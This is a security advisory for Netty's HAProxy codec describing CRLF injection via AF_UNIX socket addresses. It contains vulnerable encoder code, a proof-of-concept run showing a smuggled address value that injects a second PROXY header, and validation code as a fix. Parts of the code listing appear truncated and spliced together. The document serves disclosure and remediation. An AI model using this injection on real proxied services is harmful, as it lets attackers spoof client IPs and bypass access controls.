GHSA-wh89-7897-x99h Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address

• Maven io.netty:netty-codec-haproxy: >= 4.2.0.Final, < 4.2.16.Final → fixed in 4.2.16.Final • Maven io.netty:netty-codec-haproxy: < 4.1.136.Final → fixed in 4.1.136.Final

Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty 1. Vulnerability Summary | Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions with codec-haproxy) | | Component | `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` | | Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences | | Impact | HAProxy PROXY Protocol Injection / Client IP Spoofing | | CVSS 3.1 Score | 7.5 (High) | | CVSS 3.1 Vector | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` | 2. Affected Components • `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` — `encodeV1()` method (lines 63-77): writes `sourceAddress` and `destinationAddress` directly to output without CRLF validation • `io.netty.handler.codec.haproxy.HAProxyMessage` — constructor `checkAddress()` validates IPv4/IPv6 format but only checks length for AF_UNIX (line 439) 3. Vulnerability Description Netty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format without validating for CRLF characters. The V1 protocol uses CRLF (`\r\n`) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header. Root Cause — Encoder ```java // HAProxyMessageEncoder.java:63-77 private static void encodeV1(HAProxyMessage msg, ByteBuf out) { out.writeBytes(TEXT_PREFIX); // "PROXY " out.writeByte((byte) ' '); out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // "UNIX_STREAM" out.writeByte((byte) ' '); out.writeCharSequence(msg.sourceAddress(), US_ASCII); // 108) { throw new IllegalArgumentException("invalid AF_UNIX address: " + address); } return; // ONLY checks length 1 ? "YES" : "NO")); } } ``` How to Compile and Run ```bash JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') javac -cp "$JARS" HAProxyUnixCRLFPoC.java java -cp "$JARS:." HAProxyUnixCRLFPoC ``` PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty HAProxy AF_UNIX CRLF Injection PoC === [TEST 1] AF_UNIX Source Address CRLF Injection ------------------------------------------------ Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80" Wire format: PROXY UNIX_STREAM /var/run/app.sock\r PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r PROXY lines found: 2 VULNERABLE: YES - Second PROXY line injected! ``` 7. Remediation Recommendations Option 1: Validate AF_UNIX Addresses for CRLF ```java // HAProxyMessage.java checkAddress() - add for AF_UNIX: case AF_UNIX: ObjectUtil.checkNotNull(address, "address"); byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII); if (addrBytes.length > 108) { throw new IllegalArgumentException("invalid AF_UNIX address: too long"); } for (byte b : addrBytes) { if (b == '\r' || b == '\n') { throw new IllegalArgumentException( "AF_UNIX address contains prohibited CRLF character"); } } return; ``` Option 2: Validate in Encoder ```java // HAProxyMessageEncoder.java encodeV1() - validate before writing: private static void validateV1Address(String address) { for (int i = 0; i < address.length(); i++) { char c = address.charAt(i); if (c == '\r' || c == '\n' || c == ' ') { throw new HAProxyProtocolException( "V1 address contains prohibited character at index " + i); } } } ``` 8. References • HAProxy PROXY Protocol v1 Specification • CWE-93: Improper Neutralization of CRLF Sequences • [GHSA-jq43-27x9-3v86: …